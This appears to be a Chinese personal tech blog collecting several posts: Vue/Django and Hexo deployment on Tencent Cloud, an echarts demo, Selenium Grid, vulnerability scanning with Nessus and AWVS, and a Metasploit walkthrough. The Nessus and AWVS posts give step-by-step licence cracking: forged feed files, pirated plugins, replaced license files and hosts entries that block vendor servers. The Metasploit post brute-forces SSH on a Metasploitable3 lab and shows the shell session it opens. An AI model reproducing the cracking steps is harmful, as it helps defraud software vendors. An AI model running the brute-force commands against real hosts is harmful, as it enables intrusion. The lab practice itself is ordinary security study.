0%

说明

本次主要针对在腾讯云服务器上对vue+django进行部署

vue本地配置

  • vue的请求接口修改为服务器上的ip或者域名
1
2
3
4
// 设置接口访问的根目录
axios.defaults.baseURL = "http://host:8081/myapi/"
// 设置原型属性后,其他地方如果要调用,只要用this.$http.get就可以了
Vue.prototype.$http = axios
  • 打包后
1
npm run build
  • 压缩打包后的文件传到服务器路径:/home/dist,压缩软件推荐使用:7-zip
  • 先压缩为tar

image-20220314102924031

  • 再次压缩为格式为gzip

image-20220314103056936

image-20220314103209261

  • 把dist.tar.gz上传的服务器,路径为:home

django本地

  • 主要是导出依赖文件,执行下面的命令后,项目本地会生成一个requirements.txt依赖文件
1
2
pip install pipreqs
pipreqs --use-local --encoding=utf8 --force .

服务器配置

  • 腾讯云的centos7系统内置了python3环境
1
2
3
[root@VM-24-13-centos mysite]# python  --version
Python 3.6.8

端口设置

  • 端口规则,因为腾讯云的端口除了防护墙打开外,还需要单独新建端口规则

image-20220314102334057

  • 服务器开放端口的一些配置:
1
2
3
4
5
6
7
8
firewall-cmd --zone=public --add-port=8100/tcp --permanent
firewall-cmd --zone=public --add-port=8081/tcp --permanent

firewall-cmd --reload # 配置立即生效
firewall-cmd --zone=public --list-port # 查看防火墙所有开放的端口
firewall-cmd --state # 查看防火墙状态
netstat -lnpt # 查看监听的端口
netstat -lnpt |grep 8081# 查看监听的具体端口

nginx配置

  • 查看 Nginx 的默认配置的安装位置
1
2
3
4
root@VM-24-13-centos git]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

  • 配置路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
vi /etc/nginx/nginx.conf

server {
listen 8001;
listen [::]:8001;
server_name www.XXX.123;
root /home/dist; # vue的路径
# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
error_page 404 /404.html;
location = /404.html {
}

error_page 500 502 503 504 /50x.html;
location = /50x.html {
}
}


  • 解压打包的dist压缩包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@VM-24-13-centos home]# tar -zxvf dist.tar.gz
dist/
dist/css/
dist/css/app.54a7ebec.css
dist/css/chunk-vendors.84bb20f7.css
dist/favicon.ico
dist/fonts/
dist/fonts/element-icons.535877f5.woff
dist/fonts/element-icons.732389de.ttf
dist/img/
dist/img/logo.82b9c7a5.png
dist/index.html
dist/js/
dist/js/app.942844bf.js
dist/js/app.942844bf.js.map
dist/js/chunk-vendors.0b404296.js
dist/js/chunk-vendors.0b404296.js.map

  • 重启nginx
1
systemctl restart nginx

django

  • 把django的源代码上传到服务器
  • 安装依赖文件
1
2
3
cd /usr/local/mysite
pip install -r requirements.txt

  • 测试django是否能运行
1
python3 manage.py runserver 0.0.0.0:8081
  • 出现报错文件,类似于
1
corsheaders 文件不存在
  • 这个是django装的一个跨域访问的中间件,需要手动安装
1
pip3 install django-cors-headers
  • 再次测试django是否正常,发现报错如下,看字面意思就知道是使用的sqlite版本python必须大于3.8.3
1
2
3
4
ile "/usr/local/lib/python3.6/site-packages/django/db/backends/sqlite3/base.py", line 67, in check_sqlite_version
raise ImproperlyConfigured('SQLite 3.8.3 or later is required (found %s).' % Database.sqlite_version)
django.core.exceptions.ImproperlyConfigured: SQLite 3.8.3 or later is required (found 3.7.17).

  • 修改如下,把版本修改下就即可
1
2
3
4
5
6
vi /usr/local/lib/python3.6/site-packages/django/db/backends/sqlite3/base.py

def check_sqlite_version():
if Database.sqlite_version_info < (3, 7, 17):
raise ImproperlyConfigured('SQLite 3.7.17 or later is required (found %s).' % Database.sqlite_version)

  • 再次执行就不会报错:python3 manage.py runserver 0.0.0.0:8081

  • 直接新建一个sh文件,内容主要是日志记录文件和后台启动,注意日志这里文件要手动提前新建好:

1
2
3
4
5
6
7
8
9
root@VM-24-13-centos mysite]# pwd
/usr/local/mysite
[root@VM-24-13-centos mysite]# vi start_api.sh

MYDATE=`date +%Y%m%d`
ALL_LOGFILE=/home/api_log/log/log_$MYDATE

nohup python3 manage.py runserver 0.0.0.0:8081 > ${ALL_LOGFILE} 2>&1 &

  • 提前查看端口是否没有被占用,如果被占用就直接kill
1
netstat -lnpt |grep 8081
  • 执行start.sh文件
1
sh start.sh
  • 最好重启下nginx
1
systemctl restart nginx
  • 访问下域名正常

image-20220314105945414

说明

  • 最近再做接口测试平台的报表功能,直接再网上搜下简单的demo,居然没有找到合适的,最后自己写了个简单的入门demo

环境搭建

  • vue环境自行搭建
  • 安装echarts
1
npm install echarts --save
  • 安装axios
1
npm install axios
  • main.js设置下
1
2
3
4
5
6
7
import Vue from "vue"
import axios from 'axios'

// 设置接口访问的根目录
axios.defaults.baseURL = "http://127.0.0.1:8100/myapi/"
// 设置原型属性后,其他地方如果要调用,只要用this.$http.get就可以了
Vue.prototype.$http = axios
  • 完整vue代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<div id="echarts_box" style="width: 600px;height:400px;">

</div>
<script>
var echarts = require('echarts');

export default {
data() {
return {
}
},
mounted() {
this.drawLine();
},
created() {

},
methods: {
async drawLine() {
const {data:res} = await this.$http.get('reports')
if (res.code != 1){
return this.$message.erro("获取数据失败")
}
console.log(res)
// 初始化echarts实例
let myChart = echarts.init(document.getElementById('echarts_box'))
myChart.setOption({
title: {text: res.data.title.text},
tooltip: {},
xAxis: {data: res.data.xAxis.data},
yAxis: {},
series: [{name: res.data.series[0].name,type: res.data.series[0].type,
data: res.data.series[0].data}]
});
}
}
}
</script>
  • 后台接口返回的json数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"code": 1,
"msg": "获取成功",
"data": {
"title": {
"text": "简单饼状图"
},
"tooltip": {},
"xAxis": {
"data": ["衬衫", "羊毛衫", "雪纺衫", "裤子", "高跟鞋", "袜子"],
"name": "产品"
},
"yAxis": {},
"series": [{
"name": "销量",
"type": "bar",
"data": [5, 20, 36, 10, 10, 20],
}]
}
}
  • 效果图如下

image-20220308090809791

说明

  • 主要是针对Nessus进行实践,Nessus既可以扫描web,也可以直接扫主机

  • 本次安装环境为win10,nessus版本为8.13.1

安装

  • 本次安装教程主要来源于这里

  • 使用迅雷网盘下载:https://pan.xunlei.com/s/VMXAkJL4hXBl7V6G3rwLgl4EA1提取码: zxsk

  • 安装成功后,在浏览器(我这里谷歌打不开,换了其他浏览器)输入:https://localhost:8834/,选择managed

image-20220304100720318

  • 选择Tenable.sc

image-20220304100823162

  • 填写用户名和密码进行注册

image-20220304101009080

  • 等待安装成功后,自带进入到:https://localhost:8834/#/settings/about,默认是未激活,激活后页面回出现scan菜单

image-20220304101350406

激活

  • 管理员身份打开cmd输入如下命令{停止Tenable Nessus服务}
1
2
3
C:\WINDOWS\system32>net stop "Tenable Nessus"
Tenable Nessus 服务正在停止.
Tenable Nessus 服务已成功停止。
  • 输入以下两个命令(更改文件属性) ,要注意nessus的路径,替换为自己相应路径即可
1
2
3
4
5
attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugins\*.*" 


attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc"

  • 如果没有 plugin_feed_info.inc 文件,自己新建一个 plugin_feed_info.inc 文件,内容如下:
1
2
3
PLUGIN_SET = "202201111911";
PLUGIN_FEED = "ProfessionalFeed (Direct)";
PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning";
  • 然后把 plugin_feed_info.inc 复制到相应目录下再执行以上命令.

下载插件

原文中的插件无法激活,作者推荐了他的其他博文,我把下载地址拷贝了过来:

1
2
3
云中转网盘:
https://yzzpan.com/#sharefile=fCSsVfsp_26946
解压密码:www.ddosi.org

更新nessus插件

  • 输入下面的命令,更新插件。注意两个路径,一个是 nessus的安装路径,一个是插件位置的路径,
1
"E:\app\Tenable\Nessus\nessuscli.exe" update "e:\exe\all-2.0_202201111911.tar.gz"
  • 更新成功后出现如下提示
1
2
3
4
5
6
Fri Mar  4 10:42:22 2022][25076.1] Warning: Long rDNS lookup.  Took 2081ms for 169.254.105.105 to DESKTOP-8MTHS2J

[info] Copying templates version 202102012215 to E:\app\Tenable\Nessus\nessus\templates\tmp
[info] Finished copying templates.
[info] Moved new templates with version 202102012215 from plugins dir.
* Update successful. The changes will be automatically processed by Nessus
  • 复制配置文件到文件夹,执行copy
1
2
3
4
C:\WINDOWS\system32>copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"

覆盖 E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc 吗? (Yes/No/All): all
已复制 1 个文件。
  • 启动下服务
1
2
3
4
C:\WINDOWS\system32>net start "Tenable Nessus"
Tenable Nessus 服务正在启动 .
Tenable Nessus 服务已经启动成功。

  • 打开https://localhost:8834/#/ 等待自动配置完成,如果打不开,多刷新几次

image-20220304112142500

  • 关闭服务
1
net stop "Tenable Nessus" 
  • 复制插件文件
1
copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"
  • 如果提示文件不存在,就手动新建E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc内容如下
1
2
3
PLUGIN_SET = "202201111911";
PLUGIN_FEED = "ProfessionalFeed (Direct)";
PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning";
  • 然后再次执行copy命令
1
copy "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc" "E:\app\Tenable\Nessus\nessus\"
  • 更改文件属性
1
2
3
4
attrib +s +r +h "E:\app\Tenable\Nessus\nessus\plugins\*.*" 
attrib +s +r +h "E:\app\Tenable\Nessus\nessus\plugin_feed_info.inc"
attrib -s -r -h "E:\app\Tenable\Nessus\nessus\plugins\plugin_feed_info.inc"

  • 启动服务后,打开 https://localhost:8834/#/ 后,有几秒钟初始化,然后自动进入到输入用户名和密码

image-20220304105937929

  • 出现如下界面,说明激活成功

image-20220304151256238

image-20220304160110351

实践

  • 如果我们要扫描的是一个网站,我们选择Web Application Tests

  • 如果是要扫描一个主机的话,我们选择Advanced Scan

  • 如果要对网络中的主机进行发现和扫描,我们选择Host Discovery

扫描网站

  • 本次依然是我的dvwa靶场为例子,为了模拟真实场景,把httpd的文档目录直接修改为dvwa下,这样直接访问ip:port就进入到靶场;端口也改回了80
1
2
3
4
5
vi /etc/httpd/conf/httpd.conf

DocumentRoot "/var/www/html/DVWA-2.0.1"

systemctl restart httpd
  • 新建一个扫描模板,选择Web Application Tests,settings下目标设置靶场的ip

image-20220304172013225

  • http登录的设置

image-20220307104711390

  • 默认的插件如下,应该是激活问题,插件并不是很多

image-20220307090238888

  • 点击保存后,再我的扫描列表,点击启动

image-20220307110902628

  • 等待测试结果,用了17分钟,17个漏洞,其中4个中等漏洞

image-20220307104853855

  • 发现大部分都是配置文件漏洞

image-20220307105345386

  • 查看下载日志,发现扫描的内容的确比较简单,没有对网站本身的链接进行扫描

  • 信息提示,也明确提示了插件需要更新的提示

image-20220307105553129

扫描主机

新建Advanced Scan,目标中输入主机ip

image-20220307105922363

  • 证书选项那里,分类里面我们选择host,ssh,填入ssh的用户名和rsa密钥

image-20220307110445759

  • 密钥文件(mykey)是服务器上生成的(请自行百度),生成后的文件内容参考如下:
1
2
3
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAw5RpKHoP/hDYpsiLFB7oEmYk22zR2PWeAqQq4GjQDTdJL7G8...
-----END RSA PRIVATE KEY-----
  • 查看插件

image-20220307110719036

  • 直接点击保存后,点击启动按钮

image-20220307110828628

  • 看了下扫描结果,没有发现中级以上漏洞

image-20220307112447415

  • 测试下扫描数据库看看,配置比较简单

image-20220307112743428

  • 启动测试,测试结果和web的扫描结果差不多,首先把所有端口扫描出来并针对各自端口进行简单扫描,然后就针对mysql的一些设置信息

image-20220307144631354

总结

本次实践个人猜测应该和激活的插件有关,针对web网站和主机进行扫描,主要是一些配置方面的问题,建议是:

  • 对主机配置扫描,采用Nessus
  • 针对web网站扫描,采用AWVS,可以参考AWVS实践

说明

  • AWVS是最强的扫描web漏洞之一了
  • 本次的版本为14.6
  • 安装环境:win10

安装

  • 安装主要是参考这里,不过我把一些关键步骤记录下

  • 下载AWVS的win安装包,解压密码为:www.ddosi.org

  • 下载激活工具,解压密码同上

  • 安装AWVS后,在浏览器登录后出现如下页面,表示未激活

image-20220302094957721

  • 把激活文件(license_info.json,wa_data.dat)复制并到AWVS安装目录(E:\app\Acunetix\data\shared\license)下替换

image-20220302101024287

  • 到如下目录对hosts文件进行修改

image-20220302101458504

  • 在hosts最后加上如下两行
1
2
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
  • 刷新页面后,成功激活

image-20220302102129057

使用

靶场testfire.net

填入目标网站,开始扫描,填入ibm提供的在线靶场:http://testfire.net/

image-20220302102720203

image-20220302104105251

点击扫描

image-20220302104204101

  • 扫描选项中,扫描时间默认为马上扫描

image-20220302104239644

  • 等待扫描中

image-20220302104516343

  • 扫描完成了,差不多用了25分钟扫描完毕,发现高危漏洞有7个

image-20220302111052346

  • 导出测试报告,比较清晰说明了攻击方式和结果,比如这个跨脚本攻击

image-20220302111833044

  • 经过手动验证发现,css漏洞,全部都是误报,其他的懒得验证了、

靶场dvwa

设置靶场

  • 这个是我之前搭建的dwva靶场,首先修改下配置

  • 修改apache的端口,默认端口已经被使用了

1
2
3
 vi /etc/httpd/conf/httpd.conf

Listen 8001
  • dwva把安全等级默认修改为low
1
2
3
4
/var/www/html/DVWA-2.0.1/config
[root@VM-24-13-centos config]# vi config.inc.php
$_DVWA[ 'default_security_level' ] = 'low';

  • 防火墙打开8001,腾讯云服务器的端口开放规则需要单独设置下
1
2
3
4
5
6
7
8
9
10
firewall-cmd --zone=public --add-port=8001/tcp --permane
[root@VM-24-13-centos config]# systemctl restart firewalld

# 重启httpd服务
[root@VM-24-13-centos config]# systemctl start httpd

# 查看端口已经启动
[root@VM-24-13-centos config]# firewall-cmd --list-ports
3306/tcp 8080/tcp 4444/tcp 7777/tcp 80/tcp 8081/tcp 8001/tcp

启动AWVS

  • AWVS新增目标,注意不填入login

image-20220302150203374

image-20220302150355672

image-20220302150502002

  • 点击下一步,右侧输入被排除的url,这些url都有一些敏感信息,需求提前屏蔽掉

image-20220302151311220

  • 具体排除的url如下
1
2
3
4
5
6
GET http://ip:8001/DVWA-2.0.1/login.php HTTP/1.1
GET http://ip.101:8001/DVWA-2.0.1/security.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/phpinfo.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/setup.php HTTP/1.1
GET http://ip:8001/DVWA-2.0.1/instructions.php HTTP/1.1

点击下一步,点击完成

image-20220302151827818

  • 点击扫描

image-20220302152233313

image-20220302152250630

  • 15分钟左右扫描完毕,高危漏洞有16个

image-20220302154037208

分析测试报告

生成下载测试报告后,手动验证下,扫描发现这个bak文件,的确全都是一些敏感信息

image-20220302154221690

  • 这个是跨站攻击,手动验证下发现这个也是误报的

image-20220302154532447

结论

  • AWVS操作简单,对各种web漏洞进行检测非常强大

  • 虽然有很多是误报的,不过误报总比漏报好

说明

本编主要演示Metasploit对ftp的攻击,必须提前搭建好Metasploit攻击机和Metasploitable3靶场,可以参考这篇如何搭建kailMetasploitable3靶场搭建

开始实践

  • 流程基本上和之前的ftp攻击差不多
  • 在攻击机上,扫描靶场的端口,发现了ssh服务的端口为22,版本为7.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sV 192.168.56.105                                                                                                                                                                                                     
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-27 22:33 EST
Nmap scan report for 192.168.56.105
Host is up (0.00034s latency).
Not shown: 981 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.1 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MySQL 5.5.20-log

直接输入msfconsole 就进入到了metasploit 的控制台下

1
2
3
4
5
6
7
8
9
10
11
12
msfconsole


=[ metasploit v6.1.14-dev ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Open an interactive Ruby terminal with
irb

msf6 >

版本扫描

  • 本次扫描只是这对服务器上的ssh使用版本进行扫描,看看是否可以展示一些有用信息

  • 输入search ssh_version

image-20220228155411962

  • 输入use auxiliary/scanner/ssh/ssh_version以及进行配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > show options

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-
RPORT 22 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 30 yes Timeout for the SSH probe


msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.56.105
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.56.105:22 - SSH server version: SSH-2.0-OpenSSH_7.1 ( service.version=7.1 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.1 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.56.105:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


ssh 辅助模块

  • 输入search scanner/ssh找到辅助的漏洞模块,本次打算采用auxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ssh/ssh_login_pubkey 进行实践

image-20220228151521631

auxiliary/scanner/ssh/ssh_login

核心还是使用了密码字典进行爆破,发现提示success,说明爆破成功,用户名和密码为:vagrant

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 使用辅助模块
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.105
rhosts => 192.168.56.105
# 设置爆破字典
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
# 设置线程数量
msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 14
THREADS => 14
# 开始运行
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.105:22 - Starting bruteforce
[+] 192.168.56.105:22 - Success: 'vagrant:vagrant' 'Microsoft Windows Server 2008 R2 Standard 6.1.7601 Service Pack 1 Build 7601'
[*] Command shell session 1 opened (192.168.56.103:33151 -> 192.168.56.105:22 ) at 2022-02-28 03:22:48 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

我们得到了shell(就是管理员的用户名和密码),我们可以与我们入侵的机器创建会话。vagrant账号登录,但是发现无法session登录长时间卡死,没有反应,展示没有找到解决方案,待补充

1
2
3
4
5
6
7
8
9
# 输入sessions -i后,其实就发现了当前以及登录ssh服务的session
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i

Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell windows SSH vagrant:vagrant (192.168.56.105:22) 192.168.56.103:43991 -> 192.168.56.105:22 (192.168.56.105)

# 表示使用session列表中的id为2的数据,进行登录
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2

auxiliary/scanner/ssh/ssh_login_pubkey

结论:测试失败,查看了官网的issue,以及关闭了同样问题,但我这边还是如此,我怀疑是因为靶场是win2008引起的,等把win系列靶场大概过一遍后,搭建个linux靶场试试

如何才能得到靶场上的ssh_pubkey?

  • 打开C:\Users\vagrant\.ssh\目录可以得到ssh的key

image-20220301094010774

  • 设置靶场的共享文件夹,把ssh文件复制出来

image-20220301100740502

image-20220301100806933

  • 把ssh是key文件拷贝到共享文件夹下面即可

image-20220301100848424

  • 把key的内容复制粘贴到kali中
1
2
3
┌──(kali㉿kali)-[/usr/local]
└─$ sudo vi ssh_key
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key
  • 进入到msfconsole中,使用辅助模块,开始攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use auxiliary/scanner/ssh/ssh_login_pubkey
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > show options
...

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /usr/local/ssh_key
key_path => /usr/local/ssh_key

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 192.168.56.105
rhosts => 192.168.56.105
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set username vagrant
username => vagrant

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run

补充知识:靶场中可以使用 C:\Program Files\OpenSSH\bin>ssh-keygen -t rsa 生成私钥(id_rsa)和公钥(id_rsa.pub)

说明

本次主要介绍本地搭建一套selenium grid的环境

环境准备

  • java安装,以及环境配置
  • python 3.4环境
  • selenium安装 pip install selenium
  • Chromedriver 要和本地的chrome浏览器匹配,点击下载
  • 下载selenium-server-standalone点击下载
  • 准备2台pc,如果是虚拟机,选择桥接,2台pc互相能ping通,本次测试为本机

开始部署

  • 启动hub
1
java -jar selenium-server-standalone-v3.0.1.jar -role hub -port 4455

image-20220325184855366

  • 启动node
1
2
3
java -jar selenium-server-standalone-v3.0.1.jar -role node -port 5555 -hub http://192.168.0.102:4444/grid/registe

java -jar selenium-server-standalone-v3.0.1.jar -role node -port 6666 -hub http://192.168.0.102:4444/grid/registe

image-20220325184910875

  • 其他node启动方式
1
2
java -Dwebdriver.ie.driver=D:\IEDriverServer.exe -jar selenium-server-standalone-2.37.0.jar -role node -hub [http://127.0.0.1:4444/grid/register](http://127.0.0.1:4444/grid/register) -maxSession 20 -browser "browserName=internet explorer,version=9,platform=WINDOWS,maxInstances=20" -port 5555

node是只运行IE,并且并发数是20,最多有20个IE浏览器在运行

查看grid信息

浏览器打开:http://hub_ip:4444/grid/console 可以查看hub信息,和已经连上的node信息
image-20220325184938186

运行

  • 封装的unittest, BaseRunner .py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import unittest
from selenium import webdriver
import os

PATH = lambda p: os.path.abspath(
os.path.join(os.path.dirname(__file__), p)
)


def get_driver(device):
chromedriver = PATH("../exe/chromedriver.exe")
os.environ["webdriver.chrome.driver"] = chromedriver
chrome_capabilities = {
"browserName": "chrome", # 浏览器名称
"version": "", # 操作系统版本
"platform": "ANY", # 平台,这里可以是windows、linux、andriod等等
"javascriptEnabled": True, # 是否启用js
"webdriver.chrome.driver": chromedriver
}
driver = webdriver.Remote(command_executor=device, desired_capabilities=chrome_capabilities)
driver.maximize_window() # 将浏览器最大化
driver.get("https://www.baidu.com/")
return driver


class ParametrizedTestCase(unittest.TestCase):
def __init__(self, methodName='runTest', param=None):
super(ParametrizedTestCase, self).__init__(methodName)
global devicess
devicess = param
@classmethod
def setUpClass(cls):
pass
cls.driver = get_driver(devicess)
# cls.logTest = myLog().getLog("chrome") # 每个设备实例化一个日志记录器

def setUp(self):
pass

@classmethod
def tearDownClass(cls):
cls.driver.close()
cls.driver.quit()
pass

def tearDown(self):
pass

@staticmethod
def parametrize(testcase_klass, param=None):
testloader = unittest.TestLoader()
testnames = testloader.getTestCaseNames(testcase_klass)
suite = unittest.TestSuite()
for name in testnames:
suite.addTest(testcase_klass(name, param=param))
return suite
  • 编写测试用例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Base.BaseRunner import ParametrizedTestCase
import os
import time

PATH = lambda p: os.path.abspath(
os.path.join(os.path.dirname(__file__), p)
)

class HomeTest(ParametrizedTestCase):
def testSearch(self):
time.sleep(1)
self.driver.find_element_by_id("kw").send_keys("selenium")
time.sleep(2)
self.driver.find_element_by_id("su").click()
time.sleep(2)

@classmethod
def setUpClass(cls):
super(HomeTest, cls).setUpClass()

@classmethod
def tearDownClass(cls):
super(HomeTest, cls).tearDownClass()
  • 运行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import unittest
    from multiprocessing.pool import Pool
    from Base.BaseRunner import ParametrizedTestCase
    from TestCase import HomeTest


    def runner_pool():
    devices_Pool = ['http://192.168.0.102:5555/wd/hub', 'http://192.168.0.102:6666/wd/hub']
    pool = Pool(len(devices_Pool))
    pool.map(run, devices_Pool)
    pool.close()
    pool.join()

    def run(device):
    suite = unittest.TestSuite()
    suite.addTest(ParametrizedTestCase.parametrize(HomeTest.HomeTest, param=device))
    unittest.TextTestRunner(verbosity=2).run(suite)


    if __name__ == '__main__':
    runner_pool()


    image-20220325185045483

其他

说明

  • 之前博客在gitee pages写,最近老是抽风说我的内容出现违规文字,然后又不提示具体哪些内容违规,因此迁移到腾讯云上
  • 需要提前准备:腾讯云主机和已经备案的域名
  • 核心流程其实就算本地写博客内容,最终把source目录下面的静态内容推送到远程服务器上(腾讯云,gitee page)

腾讯云配置

安装git

  • 安装依赖库
1
yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel 
  • 安装编译工具
1
yum install gcc perl-ExtUtils-MakeMaker package
  • 选择一个目录来存放下载下来的 git 安装包。这里选择了/usr/local/src 目录
1
cd /usr/local/src
  • 到官网找一个新版稳定的源码包下载到 /usr/local/src 文件夹里
1
[root@VM-24-13-centos src]# wget --no-check-certificate  https://www.kernel.org/pub/software/scm/git/git-2.16.2.tar.gz
  • 解压编译git
1
2
3
tar -zvxf git-2.16.2.tar.gz
cd git-2.16.2
make all prefix=/usr/local/git
  • 安装 git 到 /usr/local/git 目录下
1
make install prefix=/usr/local/git
  • 配置git环境变量
1
2
3
4
echo 'export PATH=$PATH:/usr/local/git/bin' >> /etc/bashrc
source /etc/bashrc
[root@VM-24-13-centos git-2.16.2]# git --version
git version 1.8.3.1
  • 创建 git 仓库,用于存放博客网站资源,在 home/git 的目录下,创建一个名为hexoBlog的裸仓库(bare repo)。
1
2
3
mkdir /home/git/
chown -R $USER:$USER /home/git/
chmod -R 755 /home/git/
  • 然后,执行如下命令
1
2
3
4
cd /home/git/
[root@VM-24-13-centos git]# git init --bare hexoBlog.git
Initialized empty Git repository in /home/git/hexoBlog.git/

  • 创建一个新的 git 钩子,用于自动部署,在 /home/git/hexoBlog.git 下,有一个自动生成的 hooks 文件夹。我们需要在里边新建一个新的钩子文件 post-receive
1
vi /home/git/hexoBlog.git/hooks/post-receive
  • 在该文件中添加两行代码(将下边的代码粘贴进去),指定 Git 的工作树(源代码)和 Git 目录(配置文件等)
1
2
#!/bin/bash
git --work-tree=/home/hexoBlog --git-dir=/home/git/hexoBlog.git checkout -f
  • 修改文件权限,使得其可执行
1
chmod +x /home/git/hexoBlog.git/hooks/post-receive
  • 到这里,我们的 git 仓库算是完全搭建好了。下面进行 Nginx 的配置。

nginx

  • 安装nginx
1
yum install -y nginx
  • 启动发现报错了
1
systemctl start nginx
  • 查看下撒情况
1
2
systemctl status nginx.service
Feb 25 09:20:06 VM-24-13-centos systemd[1]: Failed to start The nginx HTTP and reverse proxy server.
  • 我之前转过httpd服务,默认用的也是80端口,把httpd服务停掉即可
1
2
3
4
[root@VM-24-13-centos git]# systemctl stop httpd
[root@VM-24-13-centos git]# systemctl start nginx
[root@VM-24-13-centos git]#

  • 测试nginx,wget http://127.0.0.1
1
2
3
4
5
6
root@VM-24-13-centos git]# wget http://127.0.0.1
--2022-02-25 09:24:52-- http://127.0.0.1/
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4833 (4.7K) [text/html]
Saving to: ‘index.html’
  • 配置 Nginx 托管文件目录,创建 /home/hexoBlog目录,用于 Nginx 托管
1
2
3
mkdir /home/hexoBlog/
chown -R $USER:$USER /home/hexoBlog/
chmod -R 755 /home/hexoBlog/
  • 查看 Nginx 的默认配置的安装位置
1
2
3
4
root@VM-24-13-centos git]# nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

  • 修改Nginx的默认配置,其中 cd 后边就是刚才查到的安装位置
1
vi /etc/nginx/nginx.conf

将其中的 root 值改为 /home/hexoBlog (刚才创建的托管仓库目录)。将 server_name 值改成你的域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
user root; #我这里改为了root


server {
listen 80 default_server;
listen [::]:80 default_server;
root /home/hexoBlog; #需要修改

server_name www.shikun.work; #需要修改

# Load configuration files for the default server block.
include /etc/nginx/default.d/*.conf;
location / {
}
error_page 404 /404.html;
location = /40x.html {
}
  • 重启nginx服务
1
